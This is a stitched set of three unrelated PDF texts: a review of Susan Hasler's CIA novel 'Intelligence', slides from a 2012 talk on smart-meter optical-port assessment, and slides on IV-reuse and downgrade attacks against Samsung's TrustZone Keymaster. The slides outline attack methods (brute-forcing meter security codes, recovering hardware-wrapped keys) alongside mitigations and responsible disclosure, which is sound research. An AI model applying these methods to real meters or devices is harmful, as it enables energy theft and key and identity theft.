ps:为了规避一些总所周知的问题,我尽量在文字中不出现“漏洞”,而是用危害、BUG、缺陷代替。 | pdf |
“Intelligence” by Susan Hasler (Thomas Dunne Books. St. Martin’s Press: New York
2010)
A review by Richard Thieme
There is enough white-hot rage in this book to steam a skunk.
Take that as a compliment. Twenty-one years at the CIA in diverse capacities would
generate post-traumatic stress in anyone, but not many can pen a narrative that addresses
the relevant characters, issues, and complexities of that tenure. “Intelligence” pretty much
does, within the constraints of agency pre-publication review.
This book is more or less true, I believe, to its ultimate purpose, which is to channel the
complex, sometimes contradictory vectors of energy that warred within the author during
her 21 years of service into characters with conflicting points of view, emotions, and
allegiances. If there is a flaw in the book, it is that those conflicts result in a “happy
ending” at odds with the headlines, if not today’s, then certainly tomorrow’s.
“You shall know the truth, and the truth shall set you free,” reads the ironic quote at the
entrance to the CIA, ironic because the biblical quote refers to that transcendent truth that
includes and surpasses all lesser allegiances (which the biblical narrative casts as various
forms of idolatry) whereas the agency is fused with the lesser purposes of the nation state
that sanctions its work and methods. (I once asked a Naval intelligence analyst about the
sticky problem of “intelligence ethics,” and he said, “we have a code: don’t lie, don’t
cheat, don’t steal. But it doesn’t say, Don’t kill. That’s why we exist.”)
It gets messy, once one is assimilated into the “inside circle” of an agency like the CIA
where those higher imperatives are lopped off at the start from the definition of the
mission. Over time the addictive drug of being an insider consumes one. Having access to
inside information, knowing what others can only guess, and often guess wrong,
receiving reinforcement only from one’s cohorts for the privilege of being special,
exempt, and in the know, receiving permission to violate legal or ethical norms that
outsiders must acknowledge from time to time ... over time, this leads to a murky mix in
which the struggle to do one’s job, keep one’s job, and keep one’s soul more or less intact
... well, it all gets messy, over time.
And over time, intense bonds of collegiality and friendship and the pressures of keeping
secrets and working together in the trenches bond soldiers to one another. That’s depicted
vividly in this book. So inevitably tensions mount when there is a political agenda and
directive to distort intelligence on behalf of a political purpose, particularly when it
makes the practitioner of the craft look stupid or inept despite the facts.
Yes, that has always been true, a friend of mine at one of the agencies said. But post 9/11,
it got much worse. Many of us hated what the administration did to paint us as the bad
guys, when they were lying and deceiving while we were trying to do our jobs. They only
wanted results that supported a predetermined agenda, namely, to go to war in Iraq, with
predictable consequences. When we warned that such a war would fan the flames of jihad
worldwide, we were summarily dismissed – as characters in this book, so warning, are
dismissed.
All that, I believe, is one source of the anger in this work. Oh, there’s humor, yes,
amusing incidents and relationships, that ameliorate the fury, but the white-hot fire burns
through cracks like the flames in a pot-belly stove. So one obvious subtext of this book is
to pay back those responsible for that distortion and what it did personally to those in the
trenches who could not mount a podium and shout denials in response. All they could do
was leak it, hint it, and when they could, put it into fictional form.
Another subtext results from the author’s twenty-one years of growing frustration at the
self-interested territory-and-career protecting agendas and behaviors that make a person
crazy inside the agency – and inside other organizations, too, of course (an executive of a
large bank told me they spend at least 60% of their time in internal politics, like a whale
regulating its internal temperature so it doesn’t cook from the inside out). Everyone of a
certain age knows that it is the unwritten rules that say how one had better behave in an
organizational culture and that one violates those rules to ones personal and professional
peril. That awareness informs this book in both positive and negative ways – positive
because the writer, Susan Hasler, was sufficiently motivated to disclose all this in the
guise of fiction, but negative because it turns the narrative into a wish-fulfillment, a tale
of how she hopes or wishes it would turn out in the actual agency, the real world. A wish
fulfillment is a dream, as Freud said, and a dream does not always make for good
literature. Think of the movie “Chinatown” with the alternative happy ending that wasn’t
used, Evelyn Mulwray killing Noah Cross, getting off free, hitching up with Jake, and the
whole corrupt mess exposed and dismantled.
In the real world, it doesn’t happen that way. That’s why Roman Polanski’s canny
version won out, and why the film lasts. Layers of corrupt allegiances and practices have
more than nine lives and hide better, too, than any cat.
So any sane person would become angry, dealing with all that but muzzled by secrecy
agreements. Yet ... this fictional narrative of work in the “Mines” as the trenches of daily
intelligence operations are called, saw the light of day fairly quickly. I know former
intelligence professionals whose attempts to publish were long stalled or so censored that
the remaining text made the work unpublishable. I recall Melissa Mahle, who had hoped
to make a speech on rendition for an intelligence ethics conference, removing herself
from the agenda because the agency had “gutted her talk” by removing 75% of it – not
because the details were unknown but because her speech would affirm them. Publication
in the media allowed for “no comment” or plausible deniability. Her speech would not.
So it wasn’t that people didn’t know, but that they did not know “officially” and it is
official truth that matters.
That in fact is a major theme of this book, that “official truth” and the truth that sets you
free often conflict. The dream is that the half-mad intelligence agent, Maddie, will have
her day before Congress and cameras and expose the “real bad guys” and set the agency
right again, that is, realign the CIA or an alternative part of it anyway with its real task, to
gather intelligence and provide it in a useful form for leaders with some modicum of
integrity and the desire to use it in the right way. It is ironic, of course, that it takes
someone who has gone over the edge and thrown caution to the wind to speak the simple
truth.
In short, the fact that this book is out, in this form, means that this is a story somebody
wanted told. The distortion of intelligence, bent to political agendas in ways that cost
lives and careers, distortion as both policy and practice, must enrage many senior
practitioners of the craft. Some of them want us to know, that while they can not mount
the podium and speak, they can allow a “fictionalized” account to make their point.
I returned to writing fiction myself when a friend at one of the agencies said, in effect,
you can’t talk about the things we talk about unless you write fiction. It’s the only way
you can tell the truth. The result was “Mind Games,” nineteen stories of edgy anomalies
published earlier this year (www.thiemeworks.com). It is only a hunch, of course, but an
informed hunch, that a similar motivation fueled the writing of this novel.
The public biography of Susan Hasler also suggests some other conflicts that generated
the heat and light in this book. She was an intelligence analyst, which gives credibility to
detailed scenes of inside-the-agency dynamics revealing the frustrations, political strife,
and personal interactions that keep us reading. If this were only fiction, that is, rather than
a wink-wink nod-nod peek inside, some of the narrative might be of less interest. The
conflicts at the heart of the narrative derive at least some of their interest from the overlay
our brains constantly provide, comparing and contrasting the “real” world of the past ten
years with events in the book.
Hasler’s biography also states that she wrote speeches for three directors of Central
Intelligence and one director of the National Recognizance Office. Having written a few
speeches for others myself, always as a “ghost,” I know that this means an ability to get
inside the mind of another, to see the world through their eyes like some empathetic
science fiction alien taking over the apparatus of an earthling, speaking in their own
words, from their perspectives. That same empathy and ability to hold multiple points of
view in creative tension while managing one’s own cognitive dissonance until some
integration of data takes place, that testifies to Hasler’s street cred and significant abilities
as a counter terrorism and Soviet analyst as well. Her years of experience are evident.
So Hasler had to learn to manage all that, do her work, keep her job, keep her cats healthy
like one of the characters, and stay reasonably sane. The ability to manage multiple
personalities and perspectives and remember how to come home to one’s own (while
reading details of ingenious ways others are planning to kill us) distinguishes someone
who is bitterly sane from one who is over the line and as crazed as the character Maddie
threatens to become. Maddie seems to be an alter-ego who carries the rage on behalf of
the group that is not allowed to do their work. The affirmation of Maddie’s vision is one
way for the author to remain loyal to the ultimate truth. The challenge is to find a way to
integrate Maddie’s loyalty to the higher purpose of both agency and world with
allegiance to the nation state and all its bad actors and detours and do justice to it all.
But as I said, the resolutions in the book are probably more wish fulfillment than fact, as
much as “outsiders” can know or guess. How often the employees of the CIA stand and
turn their backs en masse on a director they have learned to disrespect is a matter of
conjecture. But celebrating the possibility is obviously a therapeutic path for this author
who spent so many years unable to speak “outside” of what she knew and is now
searching for a suitable voice that enables multiple streams of her life to come together—
a fact which leads Maddie in the book but the author as well, perhaps, to conclude that
leaving the agency for a dull academic life would condemn her to boredom and
irrelevance, once one has been inside. Academics may pontificate at length but don’t
know what they don’t know or even that they don’t know. Life “outside” is literally
unthinkable, a de facto lobotomy, except as a daydream that enables one to make it
through the day. Think of Henry Hill in the movie “Goodfellas,” just a schnook in the
witness protection program, instead of the adrenalin junkie who loved a life of crime
despite its pitfalls.
In the final dream-wish of the book, a vindicated and triumphant Maddie remains to
direct an “alternative” track whose job is to take names and kick ass, which she
anticipates doing with relish and glee, and to keep the agency safe for those who not only
seek the truth in all of its forms but seek as well to speak truth to power and live to speak
another day.
<sigh>
If only.
Another personal aside: I was once advised by a therapist to read about trauma because
my interaction with those who had been tortured and those who torture others had pushed
me over a line. “You’re showing symptoms of secondary trauma,” she said.
So is Susan Hasler, I believe, in this novel, and the book strikes me as an attempt to
reconcile the multiple conflicts of which I have written and find peace. Having projected
her mind and heart into the persona of three DCIs, having done years of detailed research
with access to data most don’t know and spent sleepless nights rehearsing the dire threats,
imagining the psyches of Soviets and terrorists and putting herself in their places as much
as in the directors’ speeches, splicing her mind to the purposes of others, she must now
take back the strings of all those marionettes and make her own soul dance to a tune
congruent with her deeper commitments and the self she remains.
Her loyalties did clearly include those in the trenches, her brothers and sisters, who
bonded in the face of the live fire of real threats, trying to act on behalf of the higher
good that once motivated their youthful hearts. Those loyalties are tested in the context of
the bitter truths of political life that veterans like Hasler know and can never unlearn. The
terrorists’ threats and actions, presented as the main narrative thread, are intense but less
emotionally dense than the conflicts of the professionals in the trenches. That’s where
Hesler lived her life, after all, and decades of interfacing with those diverse people and
agendas, as abrasive as hair shirts, requires one imagines a certain amount of purging. .
The “enemy,” then, is the “voice with many names” that articulates in brief the ethos of
Islamic terrorists, but also intelligence professionals themselves, and bureaucrats, and
political hacks. That fact has serious consequences. As career goals eclipse counter-
terrorism efforts and political spin eclipses facts about a world that can never be perfectly
secured, the real threats of terrorism are amplified. A la “coming in from the cold,” the
author tells us aside how bad it really is, how enraging to watch television “news”
programs juxtapose images to create an unthinking sheeplike population that neither
knows the truth nor how to find it as it is led to war and more.
The author no doubt knows the beltway joke, that the CIA we think exists is not the real
CIA, but a front projected into the world to convince enemies we can not do intelligence
properly. The real work of a real CIA is hidden in some bunker in the hills of Virginia.
That’s the CIA with which the author chooses to identify. That’s the one to which she
believes she belongs.
Perhaps that’s true for all of us, one way or another. Perhaps that’s how we all live with
ourselves.
I strongly recommend this book. It is really worth reading. The author, having left the
agency after decades of work, remains in her brain inside the “real CIA,” in a spin cycle
that may go on for the rest of her life “outside.” The rest of us can only speculate and
guess, and watch as growing numbers of intelligence workers commute from suburbia,
park in vast lots, then disappear into doors in the sides of hills which from the air look
just like grass. All we know at the end is that they disappear into doors to which “we the
people” do not for the moment have keys and they can only report their experience in
veiled and sanctioned ways. | pdf |
1
Looking Into
The Eye
Of The Meter
Don C. Weber
InGuardians, Inc.
Copyright 2012 InGuardians, Inc.
2
Copyright 2012 InGuardians, Inc.
Cutaway and InGuardians
http://www.linkedin.com/in/cutaway http://inguardians.com/info
3
Copyright 2012 InGuardians, Inc.
Smart Meter Research Findings
REDACTED
4
Copyright 2012 InGuardians, Inc.
Research Disclaimer
• Yes, I conduct assessments on AMI
components
• No, I will not tell you for which
clients
• No, I will not tell you which vendor
products I have analyzed
• Yes, many of these images are
generic
5
Copyright 2012 InGuardians, Inc.
Danger Electrocution
Random Image Taken From: http://www.flickr.com/photos/lwr/132854217/
I am not responsible for your actions. InGuardians, Inc. is not responsible for your actions.
6
Copyright 2012 InGuardians, Inc.
Permission-based
Research / Penetration Testing
Unauthorized Testing Is Illegal EVEN IF THE METER IS ON YOUR HOUSE.
Getting Permission For Research IS NOT IMPOSSIBLE. Contact Vendors.
I am not responsible for your actions. InGuardians, Inc. is not responsible for your actions.
7
Copyright 2012 InGuardians, Inc.
Agenda
• Purpose
• Smart Meters
• Criminals and Smart
Meters
• Attack/Assessment
• Optical Tool
• Mitigations
Not So Random Image Taken From: http://www.willhackforsushi.com/?p=349
8
Copyright 2012 InGuardians, Inc.
Purpose: Presentation and Toolkit
• Smart Meter data acquisition techniques
have been known since January 5, 2009
– Advanced Metering Infrastructure Attack
Methodology [1]
– Some vendors/utilities/people/teams are still not
aware
• Tools to:
– Test functionality
– Validate configuration
– Generate anomalous data
[1] http://inguardians.com/pubs/AMI_Attack_Methodology.pdf
9
Copyright 2012 InGuardians, Inc.
What Criminals Can Attack
• Access and change data on meter
• Gain access to wireless communications
• Subvert field hardware to impact internal
resources
10
Copyright 2012 InGuardians, Inc.
Criminal Interest
• Free or Reduced Energy
• Corporate Espionage
• Access To Back-End Resources
• Non-Kinetic Attack
• Hacktivism
HAS ALREADY
OCCURRED VIA
OPTICAL PORT
11
Copyright 2012 InGuardians, Inc.
Aggregator On Poletop
Random Image Taken From:
http://www.blogcdn.com/www.engadget.com/
media/2009/12/091204-smartgrid-01.jpg
12
Copyright 2012 InGuardians, Inc.
Only One Winks At You
13
Copyright 2012 InGuardians, Inc.
Where To Start?
Steal This?
State of Texas: Class B Misdemeanor Theft - $50 to $500
Jail <180 Days and/or Fine <$2000
Meter near my barber shop. The exposed contacts scared me.
14
Copyright 2012 InGuardians, Inc.
Components and Interaction
• Data At Rest
– Microcontrollers
– Memory
– Radios
• Data In Motion
– MCU to Radio
– MCU to MCU
– MCU to Memory
– Board to Board
– IR to MCU
Image Take From: http://www.ifixit.com/Teardown/XXXXXXX-Smart-Meter-Teardown/5710/1
DANGER!!!
15
Copyright 2012 InGuardians, Inc.
Data At Rest
SPI/I2C Serial/
Parallel EEPROM –
PDIP/SOIJ/SOIC
NAND/NOR/NVRAM/SRAM/
CellularRAM/PSRAM/SuperFlash/
DataFlash – BGA/FBGA/VFBGA
16
Copyright 2012 InGuardians, Inc.
Dumping Memory
Total Phase Aardvark
Flash Utility
Xeltek SuperPro 5000
plus Adapter
Custom Extractors
17
Copyright 2012 InGuardians, Inc.
Memory Layout Logic
• Data Storage Standards
– C12.19 Tables in Transit
• Standard Tables –
formatted and documented
• Manufacturer Tables –
formatted but not
externally documented
– Custom
• Obfuscated Information
and Tables
• Extended memory for
firmware
• SWAP Space
18
Copyright 2012 InGuardians, Inc.
Data In Motion
Random image take from some random Internet site
Component To Component
Board to Board
19
Copyright 2012 InGuardians, Inc.
Data Eavesdropping – Step One
Simple Tapping with Logic Analyzer
20
Copyright 2012 InGuardians, Inc.
Data Eavesdropping – Step Two
Persistent tapping by
soldering leads to
components
Provides consistent
monitoring for research
and development
21
Copyright 2012 InGuardians, Inc.
ANSI C12 Communication Protocols
C12.18: Is Okay –
because you know
what you are
getting.
C12.21: Is Worse –
because people
think it is “secure”
C12.22: ANSI
committee has
stated vendors
should be
implementing this
22
Copyright 2012 InGuardians, Inc.
Logic Analyzer - Async Serial
OK
Standard
0x00 == C12.18
0x02 == C12.21
Version
End-of-list
C12.21
Identification
Service
Response
Packet
Revision
• Analyzers can decode digital signal
• Export data to CSV formatted files
23
Copyright 2012 InGuardians, Inc.
C12.18 Packet Basics
•
Start packet character
•
Identity
•
Control Field
•
Sequence Number
•
Length
•
Data
–
Identification Service
•
CCITT CRC
C12.21 Identification Service Request Packet
24
Copyright 2012 InGuardians, Inc.
C12.18 Protocol Basics
• C12.18 Request/Response
Pattern
– Identification
– Negotiation
– Logon
– Security
– Action (Read, Write,
Procedure)
– Logoff
– Terminate
25
Copyright 2012 InGuardians, Inc.
CSV Parser Functionality
26
Copyright 2012 InGuardians, Inc.
Replay Tables To Talk To Tables
27
Copyright 2012 InGuardians, Inc.
Advanced Persistent Tether
• Serial Transmitter
– Receive possible
• Replay C12.18 Packets
• C12.19 Table Interaction
– Read Tables
– Write Tables
– Run Procedures
• Receive Responses via
Logical Analyzer
• Parse Responses by Hand
28
Copyright 2012 InGuardians, Inc.
Hardware Client Functionality
29
Copyright 2012 InGuardians, Inc.
Wink! Wink! Wink! Wink!
30
Copyright 2012 InGuardians, Inc.
Lean In For A Closer Look
31
Copyright 2012 InGuardians, Inc.
ANSI Type 2 Optical Port:
Not Your Typical Infra-red Port
Remote Control
Devices
Provides
/dev/ttyUSB0
via FTDI chip
32
Copyright 2012 InGuardians, Inc.
Open Source Optical Probe?
http://iguanaworks.net/
33
Copyright 2012 InGuardians, Inc.
What Do We Need To Do This?
• Serial Transceiver Driver
• C12.18 Packet Driver
• C12.18 Client
– Reads and parses C12.19 Tables
– Writes to C12.19 Tables
– Runs C12.19 Procedures
– Easy Function Updates
– Easy Access To All Functions
34
Copyright 2012 InGuardians, Inc.
OptiGuard
A Smart Meter Assessment Toolkit
Image borrowed from: http://www.geekologie.com/2011/01/windows_to_the_soul_eyeball_cl.php
35
Copyright 2012 InGuardians, Inc.
Permission-based
Research / Penetration Testing
Unauthorized Testing Is Illegal EVEN IF THE METER IS ON YOUR HOUSE.
Getting Permission For Research IS NOT IMPOSSIBLE. Contact Vendors.
I am not responsible for your actions. InGuardians, Inc. is not responsible for your actions.
36
Copyright 2012 InGuardians, Inc.
OptiGuard Menu
•
Notes
–
Requires a VALID C12.18
Security Code to modify
tables or run procedures
–
Currently only works with some
meters
–
Vendor specific functions may be
required
–
C12.18 functions are coded for
easy implementation and
modification
–
Optical transfer is finicky and
fuzzing / brute forcing is hit or
miss and must be monitored
–
Brute force procedure runs have
been known to
disconnect/connect meters
–
Brute force procedure runs have
been known to brick meters
37
Copyright 2012 InGuardians, Inc.
Using The Eye Chart
• Can check one code ~ every 2 seconds
• 12277 x 2 seconds = 409 minutes = 6.8 hours
• Hmmm, are failed logons logged?
• Does the meter return an error after N attempts
38
Copyright 2012 InGuardians, Inc.
Open Wide for a Deep Look Inside
Random Image Taken From:
http://www.gonemovies.com/www/Hoofd/A/PhotoLarge.php?Keuze=KubrickClockwork
39
Copyright 2012 InGuardians, Inc.
Mitigations - General
• Residential meters on businesses
– Evaluate for increased risk to client
• Limit Shared Security Codes
– Difficult to implement a single security
per meter
– Can vary in numerous ways:
• Vendor
• Commercial and Residential meter
• Zip Code
40
Copyright 2012 InGuardians, Inc.
Mitigations – General (2)
• Incident Response Planning
– Prioritize Critical Field Assets
– Incident Response Plan and Training
• Employee Training
– Identify
– Report
– Respond
41
Copyright 2012 InGuardians, Inc.
Mitigations - Physical
• Tamper Alerts
– May seem overwhelming, initially
– Experience will identify correlating
data to escalate appropriately
• Toggle Optical Port
– Use a switch that activates optical
interface
– Should generate a tamper alert
42
Copyright 2012 InGuardians, Inc.
Mitigations – Data At Rest
• Secure Data Storage
– Encryption <- must be implemented properly
– Hashes <- must be implemented properly
• Configuration Integrity Checks
– Vendor Specific
– Some solutions systems already do this
– Meters should function with old
configuration until approved / denied
43
Copyright 2012 InGuardians, Inc.
Mitigations – Data In Motion
• IR Interaction Authorization Tokens
– Breaking or Augmenting Standard?
• Microcontroller to <INSERT HERE>
– C12.22
– Obfuscated Protocols
44
Copyright 2012 InGuardians, Inc.
OptiGuard Offspring?
• Wireless Optical Port Readers
– Small cheap magnetic devices activated wirelessly
• Optical Port Spraying
– IR interaction without touching meter
• Wireless Hardware Sniffers/MITM
– Detect updates and modify data in transit
• Neighborhood Area Network FHSS
Eavesdropping
– Channels, Spacing, Modulation, Sync Bytes, Etc
45
Copyright 2012 InGuardians, Inc.
Vendor Participation
• The following people helped out in
various important ways during this
journey.
– Ed Beroset, Elster
– Robert Former, Itron
– Others who have asked not to be
named
46
Copyright 2012 InGuardians, Inc.
Those Who Must Be Thanked
Gretchen, Garrison,
and Collier Weber
Andrew Righter
Atlas
Daniel Thanos
John Sawyer
Joshua Wright
Matt Carpenter
Tom Liston
Travis Goodspeed
InGuardians
47
Copyright 2012 InGuardians, Inc.
[email protected]
Tell Them Cutaway Sent You
Don C. Weber / Cutaway: [email protected] | pdf |
Trust Dies in Darkness: Shedding Light on
Samsung’s TrustZone Cryptographic Design
Alon Shakevsky, Eyal Ronen, Avishai Wool
Extended paper: https://eprint.iacr.org/2022/208.pdf
Tool + PoC: https://github.com/shakevsky/keybuster
@shakevsky
@eyalr0
[email protected]
3 academic researchers
The leading Android Vendor
What did we find?
2 High severity CVEs that affect over 100 million devices
Recover keys that were encrypted by trusted hardware
Designed using resources from Flaticon.com
Agenda
Introduction Background and motivation
Keymaster
TA Analysis Recovering hardware-protected keys
Implications Breaking higher-level protocols
Discussion Main takeaways from our research
The need for Trusted Execution Environments (TEEs)
Designed using resources from Flaticon.com
The need for Trusted Execution Environments (TEEs)
Designed using resources from Flaticon.com
Proprietary TrustZone Operating Systems (TZOS)
QSEE
Kinibi
TEEGRIS
TZOS
Vendors
Black Box Designs
Designed using resources from Flaticon.com
Research questions
1. Do hardware-protected cryptographic keys remain secure
even when the Normal World (Android) is compromised?
Designed using resources from Flaticon.com
Research questions
1. Do hardware-protected cryptographic keys remain secure
even when the Normal World (Android) is compromised?
2. Do compromised hardware-protected keys break the
security of various protocols that rely on them?
Designed using resources from Flaticon.com
ARM TrustZone - Attack Model
Designed using resources from Flaticon.com
ARM TrustZone - Attack Model
Designed using resources from Flaticon.com
ARM TrustZone - Attack Model
Designed using resources from Flaticon.com
Android Hardware-Backed Keystore Flow
Designed using resources from Flaticon.com
Android
Keymaster TA in
TrustZone
Generate key
B = wrap(key)
B
Request key generation
Android Hardware-Backed Keystore Flow
Designed using resources from Flaticon.com
Android
Keymaster TA in
TrustZone
Request attestation for B
Generate key
B = wrap(key)
Generate attestation cert
B
cert
Request key generation
Android Hardware-Backed Keystore Flow
Designed using resources from Flaticon.com
Android
Keymaster TA in
TrustZone
Request attestation for B
Generate key
B = wrap(key)
Generate attestation cert
key = unwrap(B)
result = operation(key)
result
Request operation for B
(e.g., encrypt/sign)
B
cert
Request key generation
Android Hardware-Backed Keystore Flow
Designed using resources from Flaticon.com
Android
Keymaster TA in
TrustZone
Request attestation for B
Generate key
B = wrap(key)
Generate attestation cert
key = unwrap(B)
result = operation(key)
result
Request operation for B
(e.g., encrypt/sign)
B
cert
Request key generation
Plaintext key material
should never leave
the TZOS
What’s the context?
We need to protect cryptographic keys of applications
Only the Keymaster should access key material
But is it guaranteed?
Agenda
Introduction Background and motivation
Keymaster
TA Analysis Recovering hardware-protected keys
Implications Breaking higher-level protocols
Discussion Main takeaways from our research
Disclaimer
Where do you start?
Where do you start?
Download the firmware of the specific model
Where do you start?
Download the firmware of the specific model
Read public documentation and security certifications
Where do you start?
Download the firmware of the specific model
Read public documentation and security certifications
Reverse-engineer using Ghidra
Repeat for 26 firmwares
Image: Ryan Kurtz, Apache License 2.0 via Wikimedia Commons
How to interact with the Keymaster?
Designed using resources from Flaticon.com
Keybuster: tool to interact with the Keymaster
Normal World
keybuster
TrustZone device drivers
Secure World
Keymaster TA
TEEGRIS kernel
Secure Monitor
SMC
World
Shared
Memory
EL0
Usermode
EL1
Kernelmode
EL3
SMC
Key Blob Encryption
The Keymaster TA encrypts key material inside blobs.
Key Blob Encryption
The Keymaster TA encrypts key material inside blobs.
Key Blob Encryption
The Keymaster TA encrypts key material inside blobs.
KDF versions of key blobs
salt = SHA-256(salt_seq)
Where salt_seq is one of the following sequences:
KDF versions of key blobs
salt = SHA-256(salt_seq)
Where salt_seq is one of the following sequences:
MDFPP can explain the variations
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
●
AES-GCM + key reuse + iv reuse -> decryption
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
●
AES-GCM + key reuse + iv reuse -> decryption
Blob A
Unknown key A
Extract IV and salt
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
●
AES-GCM + key reuse + iv reuse -> decryption
Blob A
Unknown key A
Known key B
Extract IV and salt
importKey Keystore API
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
●
AES-GCM + key reuse + iv reuse -> decryption
Blob B
Blob A
Unknown key A
Known key B
Extract IV and salt
importKey Keystore API
Known key B
Reminder
REK = Device-unique hardware key
HDK = KDF(REK, salt)
B = AES-GCM(HDK, IV, key)
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
●
AES-GCM + key reuse + iv reuse -> decryption
Blob B
Blob A
Unknown key A
Known key B
Extract IV and salt
importKey Keystore API
KB
E(HDK, IV) XOR KA
E(HDK, IV) XOR KB
Known key B
Reminder
REK = Device-unique hardware key
HDK = KDF(REK, salt)
B = AES-GCM(HDK, IV, key)
IV Reuse Attack (v15/v20-s9)
●
The Android client can control the salt -> key reuse
●
The Android client can control the IV -> IV reuse
●
AES-GCM + key reuse + iv reuse -> decryption
Blob B
Blob A
Unknown key A
Known key B
Extract IV and salt
importKey Keystore API
KB
E(HDK, IV) XOR KA
E(HDK, IV) XOR KB
Key A
KA
Known key B
Reminder
REK = Device-unique hardware key
HDK = KDF(REK, salt)
B = AES-GCM(HDK, IV, key)
Bypassing Authentication and Confirmation
We can bypass any key usage restriction without user presence/consent
Images from Android Developers Blog
Bypassing Authentication and Confirmation
We can bypass any key usage restriction without user presence/consent
Images from Android Developers Blog
Downgrade Attack
●
V20-s10 has randomized salt –> no trivial key reuse
Downgrade Attack
●
V20-s10 has randomized salt –> no trivial key reuse
●
Latent code allows creation of v15 blobs
Downgrade Attack
●
V20-s10 has randomized salt –> no trivial key reuse
●
Latent code allows creation of v15 blobs
●
A privileged attacker can exploit this to
force all new blobs to version v15
Android
Keymaster TA in
TrustZone
Generate key
B = wrap(key)
B, a v15 key blob
Request key generation
KM_EKEY_BLOB_ENC_VER = 15
Agenda
Introduction Background and motivation
Keymaster
TA Analysis Recovering hardware-protected keys
Implications Breaking higher-level protocols
Discussion Main takeaways from our research
FIDO2 WebAuthn
Allows passwordless authentication
FIDO2 WebAuthn
Allows passwordless authentication
Authentication keys live inside a “platform authenticator”
FIDO2 WebAuthn
Allows passwordless authentication
Authentication keys live inside a “platform authenticator”
Hard to extract the keys from the secure element
Or to clone the platform authenticator
Bypassing FIDO2 WebAuthn
Designed using resources from Flaticon.com
Trusted Server
Android
Keymaster TA in
TrustZone
BAUTH
Request attestation for BAUTH
cert
cert
Generate (Pub, Priv)
BAUTH = wrap(Pub, Priv)
Create attestation
certificate chain for blob
Verify certificate,
associate the
public key with the user
Request key generation
(attacker downgrades to
v15 blob)
Registration Request
FIDO2
Registration
Bypassing FIDO2 WebAuthn
Designed using resources from Flaticon.com
Trusted Server
Android
Keymaster TA in
TrustZone
BAUTH
Request attestation for BAUTH
cert
cert
Generate (Pub, Priv)
BAUTH = wrap(Pub, Priv)
Create attestation
certificate chain for blob
Verify certificate,
associate the
public key with the user
Request key generation
(attacker downgrades to
v15 blob)
Registration Request
Authentication Request
Generate Challenge
Challenge
Request user consent then
Ask to sign challenge with B
Sign Challenge with Priv in
secure hardware
A
A
Verify assertion A,
if successful
the user is signed-in
FIDO2
Registration
FIDO2
Assertion
Bypassing FIDO2 WebAuthn
Designed using resources from Flaticon.com
Bypassing FIDO2 WebAuthn Demo #1
Bypassing FIDO2 WebAuthn Demo #2
What did we find?
Attackers could steal cryptographic keys of applications
Attackers could steal your identity
Responsible Disclosure #1
●
May ‘21: We reported the IV reuse attack on S9 to Samsung
Responsible Disclosure #1
●
May ‘21: We reported the IV reuse attack on S9 to Samsung
●
Aug ‘21: Samsung patched Android O/P/Q devices
○
S9, J3 Top, J7 Top, J7 Duo, TabS4, Tab-A-S-Lite, A6 Plus, A9S
○
CVE-2021-25444 with High severity
○
Removed the option to add a custom IV from the API
Responsible Disclosure #1
●
May ‘21: We reported the IV reuse attack on S9 to Samsung
●
Aug ‘21: Samsung patched Android O/P/Q devices
○
S9, J3 Top, J7 Top, J7 Duo, TabS4, Tab-A-S-Lite, A6 Plus, A9S
○
CVE-2021-25444 with High severity
○
Removed the option to add a custom IV from the API
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
○
“There is no application created with the key blob version as v15. And any of the
applications cannot change its key blob version for it to be exploitable.”
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
●
Aug ‘21: Samsung rated the downgrade attack as “very Low severity”
○
“we think that there is no practical security impact on this”
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
●
Aug ‘21: Samsung rated the downgrade attack as “very Low severity”
○
“we think that there is no practical security impact on this”
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
●
Aug ‘21: Samsung rated the downgrade attack as “very Low severity”
●
Aug ‘21: We sent the paper
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
●
Aug ‘21: Samsung rated the downgrade attack as “very Low severity”
●
Aug ‘21: We sent the paper
●
Sep ‘21: Samsung reviewed and re-investigated the impact
○
“After further review of your paper, we concluded that "Downgrade Attack" also
has practical impact with our devices”
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
●
Aug ‘21: Samsung rated the downgrade attack as “very Low severity”
●
Aug ‘21: We sent the paper
●
Sep ‘21: Samsung reviewed and re-investigated the impact
○
“After further review of your paper, we concluded that "Downgrade Attack" also
has practical impact with our devices”
Responsible Disclosure #2
●
Jun ‘21: Samsung rejected the downgrade attack
●
Jul ‘21: We reported the downgrade attack on S10, S20 and S21
●
Aug ‘21: Samsung rated the downgrade attack as “very Low severity”
●
Aug ‘21: We sent the paper
●
Sep ‘21: Samsung reviewed and re-investigated the impact
●
Oct ‘21: Samsung patched Android P or later, including S10/S20/S21
○
CVE-2021-25490 with High severity
○
Released a patch that completely removes the legacy key blob implementation
No Security By Obscurity
Return of the IV Reuse Attack
Agenda
Introduction Background and motivation
Keymaster
TA Analysis Recovering hardware-protected keys
Implications Breaking higher-level protocols
Discussion Main takeaways from our research
Low-Level Cryptographic Issues
●
Allowing client to set IV
●
Allowing client to set encryption version
●
Latent code in security-critical application
●
Encryption version persists across “upgrades”
Low-Level Cryptographic Issues
●
Allowing client to set IV
●
Allowing client to set encryption version
●
Latent code in security-critical application
●
Encryption version persists across “upgrades”
●
